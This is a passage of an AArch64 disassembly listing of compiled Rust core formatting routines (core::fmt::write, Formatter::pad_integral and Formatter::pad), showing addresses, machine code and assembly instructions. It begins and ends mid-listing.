82554: 14000000 b 82554 <_ZN4core3ops8function6FnOnce9call_once17h049e8c8a1d0ce9b8E.llvm.2931485523929443995+0x4>
...
0000000000082560 <_ZN4core3fmt5write17he3850105fd3ed4faE>:
82560: d10203ff sub sp, sp, #0x80
82564: f0000008 adrp x8, 85000 <__exception_handler_default>
82568: a9074ff4 stp x20, x19, [sp, #112]
8256c: aa0203f3 mov x19, x2
82570: 52800069 mov w9, #0x3 // #3
82574: f90023fe str x30, [sp, #64]
82578: fd448900 ldr d0, [x8, #2320]
8257c: f9400848 ldr x8, [x2, #16]
82580: a9055ff8 stp x24, x23, [sp, #80]
82584: a90657f6 stp x22, x21, [sp, #96]
82588: f90003ff str xzr, [sp]
8258c: f9000bff str xzr, [sp, #16]
82590: 3900e3e9 strb w9, [sp, #56]
82594: fd001be0 str d0, [sp, #48]
82598: a90207e0 stp x0, x1, [sp, #32]
8259c: b4000948 cbz x8, 826c4 <_ZN4core3fmt5write17he3850105fd3ed4faE+0x164>
825a0: f9400e69 ldr x9, [x19, #24]
825a4: 5280070a mov w10, #0x38 // #56
825a8: 9b0a7d2a mul x10, x9, x10
825ac: b4000c0a cbz x10, 8272c <_ZN4core3fmt5write17he3850105fd3ed4faE+0x1cc>
825b0: f940026a ldr x10, [x19]
825b4: 5280070c mov w12, #0x38 // #56
825b8: d37df12b lsl x11, x9, #3
825bc: 90000018 adrp x24, 82000 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x350>
825c0: d100216b sub x11, x11, #0x8
825c4: 9b0c7d35 mul x21, x9, x12
825c8: d343fd6b lsr x11, x11, #3
825cc: 91000574 add x20, x11, #0x1
825d0: 91002156 add x22, x10, #0x8
825d4: 91006117 add x23, x8, #0x18
825d8: 91154318 add x24, x24, #0x550
825dc: f94002c2 ldr x2, [x22]
825e0: b40000c2 cbz x2, 825f8 <_ZN4core3fmt5write17he3850105fd3ed4faE+0x98>
825e4: a94223e0 ldp x0, x8, [sp, #32]
825e8: f85f82c1 ldur x1, [x22, #-8]
825ec: f9400d08 ldr x8, [x8, #24]
825f0: d63f0100 blr x8
825f4: 37000c00 tbnz w0, #0, 82774 <_ZN4core3fmt5write17he3850105fd3ed4faE+0x214>
825f8: b94012e8 ldr w8, [x23, #16]
825fc: b90037e8 str w8, [sp, #52]
82600: 394062e8 ldrb w8, [x23, #24]
82604: 3900e3e8 strb w8, [sp, #56]
82608: b94016e9 ldr w9, [x23, #20]
8260c: f9401268 ldr x8, [x19, #32]
82610: b90033e9 str w9, [sp, #48]
82614: a94026ea ldp x10, x9, [x23]
82618: b40001ea cbz x10, 82654 <_ZN4core3fmt5write17he3850105fd3ed4faE+0xf4>
8261c: f100055f cmp x10, #0x1
82620: 540000a1 b.ne 82634 <_ZN4core3fmt5write17he3850105fd3ed4faE+0xd4> // b.any
82624: 8b09110a add x10, x8, x9, lsl #4
82628: f940054a ldr x10, [x10, #8]
8262c: eb18015f cmp x10, x24
82630: 540000c0 b.eq 82648 <_ZN4core3fmt5write17he3850105fd3ed4faE+0xe8> // b.none
82634: aa1f03ea mov x10, xzr
82638: a90027ea stp x10, x9, [sp]
8263c: a97f26ea ldp x10, x9, [x23, #-16]
82640: b500012a cbnz x10, 82664 <_ZN4core3fmt5write17he3850105fd3ed4faE+0x104>
82644: 14000013 b 82690 <_ZN4core3fmt5write17he3850105fd3ed4faE+0x130>
82648: d37ced29 lsl x9, x9, #4
8264c: f8696909 ldr x9, [x8, x9]
82650: f9400129 ldr x9, [x9]
82654: 5280002a mov w10, #0x1 // #1
82658: a90027ea stp x10, x9, [sp]
8265c: a97f26ea ldp x10, x9, [x23, #-16]
82660: b400018a cbz x10, 82690 <_ZN4core3fmt5write17he3850105fd3ed4faE+0x130>
82664: f100055f cmp x10, #0x1
82668: 540000a1 b.ne 8267c <_ZN4core3fmt5write17he3850105fd3ed4faE+0x11c> // b.any
8266c: 8b09110a add x10, x8, x9, lsl #4
82670: f940054a ldr x10, [x10, #8]
82674: eb18015f cmp x10, x24
82678: 54000060 b.eq 82684 <_ZN4core3fmt5write17he3850105fd3ed4faE+0x124> // b.none
8267c: aa1f03ea mov x10, xzr
82680: 14000005 b 82694 <_ZN4core3fmt5write17he3850105fd3ed4faE+0x134>
82684: d37ced29 lsl x9, x9, #4
82688: f8696909 ldr x9, [x8, x9]
8268c: f9400129 ldr x9, [x9]
82690: 5280002a mov w10, #0x1 // #1
82694: a90127ea stp x10, x9, [sp, #16]
82698: 910003e1 mov x1, sp
8269c: f85e82e9 ldur x9, [x23, #-24]
826a0: 8b091108 add x8, x8, x9, lsl #4
826a4: a9402500 ldp x0, x9, [x8]
826a8: d63f0120 blr x9
826ac: 37000640 tbnz w0, #0, 82774 <_ZN4core3fmt5write17he3850105fd3ed4faE+0x214>
826b0: 910042d6 add x22, x22, #0x10
826b4: f100e2b5 subs x21, x21, #0x38
826b8: 9100e2f7 add x23, x23, #0x38
826bc: 54fff901 b.ne 825dc <_ZN4core3fmt5write17he3850105fd3ed4faE+0x7c> // b.any
826c0: 1400001c b 82730 <_ZN4core3fmt5write17he3850105fd3ed4faE+0x1d0>
826c4: f9401668 ldr x8, [x19, #40]
826c8: b4000408 cbz x8, 82748 <_ZN4core3fmt5write17he3850105fd3ed4faE+0x1e8>
826cc: f9401269 ldr x9, [x19, #32]
826d0: d37ced15 lsl x21, x8, #4
826d4: f940026a ldr x10, [x19]
826d8: d10042a8 sub x8, x21, #0x10
826dc: d344fd08 lsr x8, x8, #4
826e0: 91000514 add x20, x8, #0x1
826e4: 91002137 add x23, x9, #0x8
826e8: 91002156 add x22, x10, #0x8
826ec: f94002c2 ldr x2, [x22]
826f0: b40000c2 cbz x2, 82708 <_ZN4core3fmt5write17he3850105fd3ed4faE+0x1a8>
826f4: a94223e0 ldp x0, x8, [sp, #32]
826f8: f85f82c1 ldur x1, [x22, #-8]
826fc: f9400d08 ldr x8, [x8, #24]
82700: d63f0100 blr x8
82704: 37000380 tbnz w0, #0, 82774 <_ZN4core3fmt5write17he3850105fd3ed4faE+0x214>
82708: a97fa2e0 ldp x0, x8, [x23, #-8]
8270c: 910003e1 mov x1, sp
82710: d63f0100 blr x8
82714: 37000300 tbnz w0, #0, 82774 <_ZN4core3fmt5write17he3850105fd3ed4faE+0x214>
82718: 910042d6 add x22, x22, #0x10
8271c: 910042f7 add x23, x23, #0x10
82720: f10042b5 subs x21, x21, #0x10
82724: 54fffe41 b.ne 826ec <_ZN4core3fmt5write17he3850105fd3ed4faE+0x18c> // b.any
82728: 14000002 b 82730 <_ZN4core3fmt5write17he3850105fd3ed4faE+0x1d0>
8272c: aa1f03f4 mov x20, xzr
82730: a9402668 ldp x8, x9, [x19]
82734: 8b141108 add x8, x8, x20, lsl #4
82738: eb09029f cmp x20, x9
8273c: 9a9f3108 csel x8, x8, xzr, cc // cc = lo, ul, last
82740: 54000103 b.cc 82760 <_ZN4core3fmt5write17he3850105fd3ed4faE+0x200> // b.lo, b.ul, b.last
82744: 14000013 b 82790 <_ZN4core3fmt5write17he3850105fd3ed4faE+0x230>
82748: aa1f03f4 mov x20, xzr
8274c: a9402668 ldp x8, x9, [x19]
82750: 8b141108 add x8, x8, x20, lsl #4
82754: eb09029f cmp x20, x9
82758: 9a9f3108 csel x8, x8, xzr, cc // cc = lo, ul, last
8275c: 540001a2 b.cs 82790 <_ZN4core3fmt5write17he3850105fd3ed4faE+0x230> // b.hs, b.nlast
82760: a94227e0 ldp x0, x9, [sp, #32]
82764: a9400901 ldp x1, x2, [x8]
82768: f9400d28 ldr x8, [x9, #24]
8276c: d63f0100 blr x8
82770: 36000100 tbz w0, #0, 82790 <_ZN4core3fmt5write17he3850105fd3ed4faE+0x230>
82774: 52800020 mov w0, #0x1 // #1
82778: a9474ff4 ldp x20, x19, [sp, #112]
8277c: a94657f6 ldp x22, x21, [sp, #96]
82780: a9455ff8 ldp x24, x23, [sp, #80]
82784: f94023fe ldr x30, [sp, #64]
82788: 910203ff add sp, sp, #0x80
8278c: d65f03c0 ret
82790: 2a1f03e0 mov w0, wzr
82794: a9474ff4 ldp x20, x19, [sp, #112]
82798: a94657f6 ldp x22, x21, [sp, #96]
8279c: a9455ff8 ldp x24, x23, [sp, #80]
827a0: f94023fe ldr x30, [sp, #64]
827a4: 910203ff add sp, sp, #0x80
827a8: d65f03c0 ret
827ac: 00000000 .inst 0x00000000 ; undefined
00000000000827b0 <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E>:
827b0: a9ba7bfd stp x29, x30, [sp, #-96]!
827b4: a9035ff8 stp x24, x23, [sp, #48]
827b8: aa0203f7 mov x23, x2
827bc: a90457f6 stp x22, x21, [sp, #64]
827c0: aa0403f5 mov x21, x4
827c4: a9054ff4 stp x20, x19, [sp, #80]
827c8: aa0503f4 mov x20, x5
827cc: aa0303f6 mov x22, x3
827d0: aa0003f3 mov x19, x0
827d4: a9016ffc stp x28, x27, [sp, #16]
827d8: a90267fa stp x26, x25, [sp, #32]
827dc: 340001e1 cbz w1, 82818 <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E+0x68>
827e0: b9403268 ldr w8, [x19, #48]
827e4: 5280056a mov w10, #0x2b // #43
827e8: 52a0022b mov w11, #0x110000 // #1114112
827ec: 92400109 and x9, x8, #0x1
827f0: 7100013f cmp w9, #0x0
827f4: 8b140129 add x9, x9, x20
827f8: 1a8a0178 csel w24, w11, w10, eq // eq = none
827fc: 36100168 tbz w8, #2, 82828 <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E+0x78>
82800: b4000216 cbz x22, 82840 <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E+0x90>
82804: f10012df cmp x22, #0x4
82808: 54000202 b.cs 82848 <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E+0x98> // b.hs, b.nlast
8280c: aa1f03ec mov x12, xzr
82810: aa1703ea mov x10, x23
82814: 14000033 b 828e0 <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E+0x130>
82818: b9403268 ldr w8, [x19, #48]
8281c: 91000689 add x9, x20, #0x1
82820: 528005b8 mov w24, #0x2d // #45
82824: 3717fee8 tbnz w8, #2, 82800 <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E+0x50>
82828: aa1f03f7 mov x23, xzr
8282c: aa1f03f6 mov x22, xzr
82830: f940026a ldr x10, [x19]
82834: f100055f cmp x10, #0x1
82838: 540006a0 b.eq 8290c <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E+0x15c> // b.none
8283c: 14000041 b 82940 <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E+0x190>
82840: aa1f03ec mov x12, xzr
82844: 1400002e b 828fc <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E+0x14c>
82848: 6f00e400 movi v0.2d, #0x0
8284c: 5280002a mov w10, #0x1 // #1
82850: 0f060401 movi v1.2s, #0xc0
82854: 927ef6cb and x11, x22, #0xfffffffffffffffc
82858: 0f040402 movi v2.2s, #0x80
8285c: 91000aec add x12, x23, #0x2
82860: 4e080d43 dup v3.2d, x10
82864: 8b0b02ea add x10, x23, x11
82868: aa0b03ed mov x13, x11
8286c: 4ea01c04 mov v4.16b, v0.16b
82870: 385fe18e ldurb w14, [x12, #-2]
82874: f10011ad subs x13, x13, #0x4
82878: 3940018f ldrb w15, [x12]
8287c: 385ff190 ldurb w16, [x12, #-1]
82880: 1e2701c5 fmov s5, w14
82884: 3940058e ldrb w14, [x12, #1]
82888: 1e2701e6 fmov s6, w15
8288c: 9100118c add x12, x12, #0x4
82890: 4e0c1e05 mov v5.s[1], w16
82894: 4e0c1dc6 mov v6.s[1], w14
82898: 0e211ca5 and v5.8b, v5.8b, v1.8b
8289c: 0e211cc6 and v6.8b, v6.8b, v1.8b
828a0: 2ea28ca5 cmeq v5.2s, v5.2s, v2.2s
828a4: 2ea28cc6 cmeq v6.2s, v6.2s, v2.2s
828a8: 2e2058a5 mvn v5.8b, v5.8b
828ac: 2e2058c6 mvn v6.8b, v6.8b
828b0: 2f20a4a5 uxtl v5.2d, v5.2s
828b4: 2f20a4c6 uxtl v6.2d, v6.2s
828b8: 4e231ca5 and v5.16b, v5.16b, v3.16b
828bc: 4e231cc6 and v6.16b, v6.16b, v3.16b
828c0: 4ee58400 add v0.2d, v0.2d, v5.2d
828c4: 4ee68484 add v4.2d, v4.2d, v6.2d
828c8: 54fffd41 b.ne 82870 <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E+0xc0> // b.any
828cc: 4ee08480 add v0.2d, v4.2d, v0.2d
828d0: eb16017f cmp x11, x22
828d4: 5ef1b800 addp d0, v0.2d
828d8: 9e66000c fmov x12, d0
828dc: 54000100 b.eq 828fc <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E+0x14c> // b.none
828e0: 8b1602eb add x11, x23, x22
828e4: 3840154d ldrb w13, [x10], #1
828e8: 121a05ad and w13, w13, #0xc0
828ec: 710201bf cmp w13, #0x80
828f0: 9a8c058c cinc x12, x12, ne // ne = any
828f4: eb0b015f cmp x10, x11
828f8: 54ffff61 b.ne 828e4 <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E+0x134> // b.any
828fc: 8b090189 add x9, x12, x9
82900: f940026a ldr x10, [x19]
82904: f100055f cmp x10, #0x1
82908: 540001c1 b.ne 82940 <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E+0x190> // b.any
8290c: f940066a ldr x10, [x19, #8]
82910: eb09015c subs x28, x10, x9
82914: 54000169 b.ls 82940 <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E+0x190> // b.plast
82918: 37180488 tbnz w8, #3, 829a8 <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E+0x1f8>
8291c: 3940e268 ldrb w8, [x19, #56]
82920: 71000d1f cmp w8, #0x3
82924: 1a9f1508 csinc w8, w8, wzr, ne // ne = any
82928: 72000508 ands w8, w8, #0x3
8292c: 54000680 b.eq 829fc <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E+0x24c> // b.none
82930: 7100051f cmp w8, #0x1
82934: 540006a1 b.ne 82a08 <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E+0x258> // b.any
82938: aa1f03fb mov x27, xzr
8293c: 14000037 b 82a18 <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E+0x268>
82940: aa1303e0 mov x0, x19
82944: 2a1803e1 mov w1, w24
82948: aa1703e2 mov x2, x23
8294c: aa1603e3 mov x3, x22
82950: 94000088 bl 82b70 <_ZN4core3fmt9Formatter12pad_integral12write_prefix17h828c4f1b581ccd5fE>
82954: 36000140 tbz w0, #0, 8297c <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E+0x1cc>
82958: 52800039 mov w25, #0x1 // #1
8295c: 2a1903e0 mov w0, w25
82960: a9454ff4 ldp x20, x19, [sp, #80]
82964: a94457f6 ldp x22, x21, [sp, #64]
82968: a9435ff8 ldp x24, x23, [sp, #48]
8296c: a94267fa ldp x26, x25, [sp, #32]
82970: a9416ffc ldp x28, x27, [sp, #16]
82974: a8c67bfd ldp x29, x30, [sp], #96
82978: d65f03c0 ret
8297c: a9422260 ldp x0, x8, [x19, #32]
82980: aa1503e1 mov x1, x21
82984: aa1403e2 mov x2, x20
82988: a9454ff4 ldp x20, x19, [sp, #80]
8298c: f9400d03 ldr x3, [x8, #24]
82990: a94457f6 ldp x22, x21, [sp, #64]
82994: a9435ff8 ldp x24, x23, [sp, #48]
82998: a94267fa ldp x26, x25, [sp, #32]
8299c: a9416ffc ldp x28, x27, [sp, #16]
829a0: a8c67bfd ldp x29, x30, [sp], #96
829a4: d61f0060 br x3
829a8: b940367a ldr w26, [x19, #52]
829ac: 52800608 mov w8, #0x30 // #48
829b0: 3940e27b ldrb w27, [x19, #56]
829b4: 52800039 mov w25, #0x1 // #1
829b8: aa1303e0 mov x0, x19
829bc: 2a1803e1 mov w1, w24
829c0: aa1703e2 mov x2, x23
829c4: aa1603e3 mov x3, x22
829c8: b9003668 str w8, [x19, #52]
829cc: 3900e279 strb w25, [x19, #56]
829d0: 94000068 bl 82b70 <_ZN4core3fmt9Formatter12pad_integral12write_prefix17h828c4f1b581ccd5fE>
829d4: 3707fc40 tbnz w0, #0, 8295c <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E+0x1ac>
829d8: 3940e268 ldrb w8, [x19, #56]
829dc: 71000d1f cmp w8, #0x3
829e0: 1a9f1508 csinc w8, w8, wzr, ne // ne = any
829e4: 72000508 ands w8, w8, #0x3
829e8: 54000640 b.eq 82ab0 <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E+0x300> // b.none
829ec: 7100051f cmp w8, #0x1
829f0: 54000661 b.ne 82abc <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E+0x30c> // b.any
829f4: aa1f03f8 mov x24, xzr
829f8: 14000035 b 82acc <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E+0x31c>
829fc: aa1c03fb mov x27, x28
82a00: aa1f03fc mov x28, xzr
82a04: 14000005 b 82a18 <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E+0x268>
82a08: d341ff88 lsr x8, x28, #1
82a0c: 91000789 add x9, x28, #0x1
82a10: aa0803fc mov x28, x8
82a14: d341fd3b lsr x27, x9, #1
82a18: a942767a ldp x26, x29, [x19, #32]
82a1c: 9100079c add x28, x28, #0x1
82a20: b9403679 ldr w25, [x19, #52]
82a24: f100079c subs x28, x28, #0x1
82a28: 540000e0 b.eq 82a44 <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E+0x294> // b.none
82a2c: f94013a8 ldr x8, [x29, #32]
82a30: aa1a03e0 mov x0, x26
82a34: 2a1903e1 mov w1, w25
82a38: d63f0100 blr x8
82a3c: 3607ff40 tbz w0, #0, 82a24 <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E+0x274>
82a40: 17ffffc6 b 82958 <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E+0x1a8>
82a44: 7144433f cmp w25, #0x110, lsl #12
82a48: 9a9b03fa csel x26, xzr, x27, eq // eq = none
82a4c: 54fff860 b.eq 82958 <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E+0x1a8> // b.none
82a50: aa1303e0 mov x0, x19
82a54: 2a1803e1 mov w1, w24
82a58: aa1703e2 mov x2, x23
82a5c: aa1603e3 mov x3, x22
82a60: 94000044 bl 82b70 <_ZN4core3fmt9Formatter12pad_integral12write_prefix17h828c4f1b581ccd5fE>
82a64: 3707f7a0 tbnz w0, #0, 82958 <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E+0x1a8>
82a68: a9422260 ldp x0, x8, [x19, #32]
82a6c: aa1503e1 mov x1, x21
82a70: aa1403e2 mov x2, x20
82a74: f9400d08 ldr x8, [x8, #24]
82a78: d63f0100 blr x8
82a7c: 3707f6e0 tbnz w0, #0, 82958 <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E+0x1a8>
82a80: a9424e74 ldp x20, x19, [x19, #32]
82a84: aa1f03f5 mov x21, xzr
82a88: eb15035f cmp x26, x21
82a8c: 540006a0 b.eq 82b60 <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E+0x3b0> // b.none
82a90: f9401268 ldr x8, [x19, #32]
82a94: aa1403e0 mov x0, x20
82a98: 2a1903e1 mov w1, w25
82a9c: 910006b5 add x21, x21, #0x1
82aa0: d63f0100 blr x8
82aa4: 34ffff20 cbz w0, 82a88 <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E+0x2d8>
82aa8: d10006a8 sub x8, x21, #0x1
82aac: 1400002e b 82b64 <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E+0x3b4>
82ab0: aa1c03f8 mov x24, x28
82ab4: aa1f03fc mov x28, xzr
82ab8: 14000005 b 82acc <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E+0x31c>
82abc: d341ff88 lsr x8, x28, #1
82ac0: 91000789 add x9, x28, #0x1
82ac4: aa0803fc mov x28, x8
82ac8: d341fd38 lsr x24, x9, #1
82acc: a9426677 ldp x23, x25, [x19, #32]
82ad0: 9100079c add x28, x28, #0x1
82ad4: b9403676 ldr w22, [x19, #52]
82ad8: f100079c subs x28, x28, #0x1
82adc: 540000e0 b.eq 82af8 <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E+0x348> // b.none
82ae0: f9401328 ldr x8, [x25, #32]
82ae4: aa1703e0 mov x0, x23
82ae8: 2a1603e1 mov w1, w22
82aec: d63f0100 blr x8
82af0: 3607ff40 tbz w0, #0, 82ad8 <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E+0x328>
82af4: 17ffff99 b 82958 <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E+0x1a8>
82af8: 714442df cmp w22, #0x110, lsl #12
82afc: 9a9803f7 csel x23, xzr, x24, eq // eq = none
82b00: 54fff2c0 b.eq 82958 <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E+0x1a8> // b.none
82b04: a9422260 ldp x0, x8, [x19, #32]
82b08: aa1503e1 mov x1, x21
82b0c: aa1403e2 mov x2, x20
82b10: f9400d08 ldr x8, [x8, #24]
82b14: d63f0100 blr x8
82b18: 3707f200 tbnz w0, #0, 82958 <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E+0x1a8>
82b1c: a9425674 ldp x20, x21, [x19, #32]
82b20: aa1f03f8 mov x24, xzr
82b24: eb1802ff cmp x23, x24
82b28: 54000140 b.eq 82b50 <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E+0x3a0> // b.none
82b2c: f94012a8 ldr x8, [x21, #32]
82b30: aa1403e0 mov x0, x20
82b34: 2a1603e1 mov w1, w22
82b38: 91000718 add x24, x24, #0x1
82b3c: d63f0100 blr x8
82b40: 34ffff20 cbz w0, 82b24 <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E+0x374>
82b44: d1000708 sub x8, x24, #0x1
82b48: eb17011f cmp x8, x23
82b4c: 54fff063 b.cc 82958 <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E+0x1a8> // b.lo, b.ul, b.last
82b50: 2a1f03f9 mov w25, wzr
82b54: b900367a str w26, [x19, #52]
82b58: 3900e27b strb w27, [x19, #56]
82b5c: 17ffff80 b 8295c <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E+0x1ac>
82b60: aa1a03e8 mov x8, x26
82b64: eb1a011f cmp x8, x26
82b68: 1a9f27f9 cset w25, cc // cc = lo, ul, last
82b6c: 17ffff7c b 8295c <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E+0x1ac>
0000000000082b70 <_ZN4core3fmt9Formatter12pad_integral12write_prefix17h828c4f1b581ccd5fE>:
82b70: a9be57fe stp x30, x21, [sp, #-32]!
82b74: a9014ff4 stp x20, x19, [sp, #16]
82b78: aa0303f3 mov x19, x3
82b7c: aa0203f4 mov x20, x2
82b80: aa0003f5 mov x21, x0
82b84: 7144403f cmp w1, #0x110, lsl #12
82b88: 54000120 b.eq 82bac <_ZN4core3fmt9Formatter12pad_integral12write_prefix17h828c4f1b581ccd5fE+0x3c> // b.none
82b8c: a94222a0 ldp x0, x8, [x21, #32]
82b90: f9401108 ldr x8, [x8, #32]
82b94: d63f0100 blr x8
82b98: 360000a0 tbz w0, #0, 82bac <_ZN4core3fmt9Formatter12pad_integral12write_prefix17h828c4f1b581ccd5fE+0x3c>
82b9c: 52800020 mov w0, #0x1 // #1
82ba0: a9414ff4 ldp x20, x19, [sp, #16]
82ba4: a8c257fe ldp x30, x21, [sp], #32
82ba8: d65f03c0 ret
82bac: b4000114 cbz x20, 82bcc <_ZN4core3fmt9Formatter12pad_integral12write_prefix17h828c4f1b581ccd5fE+0x5c>
82bb0: a94222a0 ldp x0, x8, [x21, #32]
82bb4: aa1403e1 mov x1, x20
82bb8: aa1303e2 mov x2, x19
82bbc: a9414ff4 ldp x20, x19, [sp, #16]
82bc0: f9400d03 ldr x3, [x8, #24]
82bc4: a8c257fe ldp x30, x21, [sp], #32
82bc8: d61f0060 br x3
82bcc: 2a1f03e0 mov w0, wzr
82bd0: a9414ff4 ldp x20, x19, [sp, #16]
82bd4: a8c257fe ldp x30, x21, [sp], #32
82bd8: d65f03c0 ret
82bdc: 00000000 .inst 0x00000000 ; undefined
0000000000082be0 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E>:
82be0: a9bc67fe stp x30, x25, [sp, #-64]!
82be4: f9400008 ldr x8, [x0]
82be8: f9400809 ldr x9, [x0, #16]
82bec: a9034ff4 stp x20, x19, [sp, #48]
82bf0: aa0203f3 mov x19, x2
82bf4: aa0103f4 mov x20, x1
82bf8: a9015ff8 stp x24, x23, [sp, #16]
82bfc: f100051f cmp x8, #0x1
82c00: a90257f6 stp x22, x21, [sp, #32]
82c04: 54000081 b.ne 82c14 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x34> // b.any
82c08: f100053f cmp x9, #0x1
82c0c: 54000080 b.eq 82c1c <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x3c> // b.none
82c10: 1400007e b 82e08 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x228>
82c14: f100053f cmp x9, #0x1
82c18: 540017a1 b.ne 82f0c <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x32c> // b.any
82c1c: f9400c0b ldr x11, [x0, #24]
82c20: 8b13028a add x10, x20, x19
82c24: aa1f03e9 mov x9, xzr
82c28: b400078b cbz x11, 82d18 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x138>
82c2c: aa1403ed mov x13, x20
82c30: 1400000a b 82c58 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x78>
82c34: 38401591 ldrb w17, [x12], #1
82c38: 12001631 and w17, w17, #0x3f
82c3c: 530e09ef ubfiz w15, w15, #18, #3
82c40: 331415cf bfi w15, w14, #12, #6
82c44: 331a160f bfi w15, w16, #6, #6
82c48: 2a1101ee orr w14, w15, w17
82c4c: 714441df cmp w14, #0x110, lsl #12
82c50: 54000541 b.ne 82cf8 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x118> // b.any
82c54: 1400006b b 82e00 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x220>
82c58: eb0a01bf cmp x13, x10
82c5c: 54000d20 b.eq 82e00 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x220> // b.none
82c60: aa0d03ec mov x12, x13
82c64: 38c0158f ldrsb w15, [x12], #1
82c68: 36f8048f tbz w15, #31, 82cf8 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x118>
82c6c: eb0a019f cmp x12, x10
82c70: 54000100 b.eq 82c90 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0xb0> // b.none
82c74: 394005ae ldrb w14, [x13, #1]
82c78: 910009ac add x12, x13, #0x2
82c7c: 120015ce and w14, w14, #0x3f
82c80: 12001def and w15, w15, #0xff
82c84: 710381ff cmp w15, #0xe0
82c88: 540000e2 b.cs 82ca4 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0xc4> // b.hs, b.nlast
82c8c: 1400001b b 82cf8 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x118>
82c90: 2a1f03ee mov w14, wzr
82c94: aa0a03ec mov x12, x10
82c98: 12001def and w15, w15, #0xff
82c9c: 710381ff cmp w15, #0xe0
82ca0: 540002c3 b.cc 82cf8 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x118> // b.lo, b.ul, b.last
82ca4: eb0a019f cmp x12, x10
82ca8: 540000c0 b.eq 82cc0 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0xe0> // b.none
82cac: 38401590 ldrb w16, [x12], #1
82cb0: 12001610 and w16, w16, #0x3f
82cb4: 7103c1ff cmp w15, #0xf0
82cb8: 540000c2 b.cs 82cd0 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0xf0> // b.hs, b.nlast
82cbc: 1400000f b 82cf8 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x118>
82cc0: 2a1f03f0 mov w16, wzr
82cc4: aa0a03ec mov x12, x10
82cc8: 7103c1ff cmp w15, #0xf0
82ccc: 54000163 b.cc 82cf8 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x118> // b.lo, b.ul, b.last
82cd0: eb0a019f cmp x12, x10
82cd4: 54fffb01 b.ne 82c34 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x54> // b.any
82cd8: 2a1f03f1 mov w17, wzr
82cdc: aa0a03ec mov x12, x10
82ce0: 530e09ef ubfiz w15, w15, #18, #3
82ce4: 331415cf bfi w15, w14, #12, #6
82ce8: 331a160f bfi w15, w16, #6, #6
82cec: 2a1101ee orr w14, w15, w17
82cf0: 714441df cmp w14, #0x110, lsl #12
82cf4: 54000860 b.eq 82e00 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x220> // b.none
82cf8: cb0d0129 sub x9, x9, x13
82cfc: f100056b subs x11, x11, #0x1
82d00: 8b0c0129 add x9, x9, x12
82d04: aa0c03ed mov x13, x12
82d08: 54fffa81 b.ne 82c58 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x78> // b.any
82d0c: eb0a019f cmp x12, x10
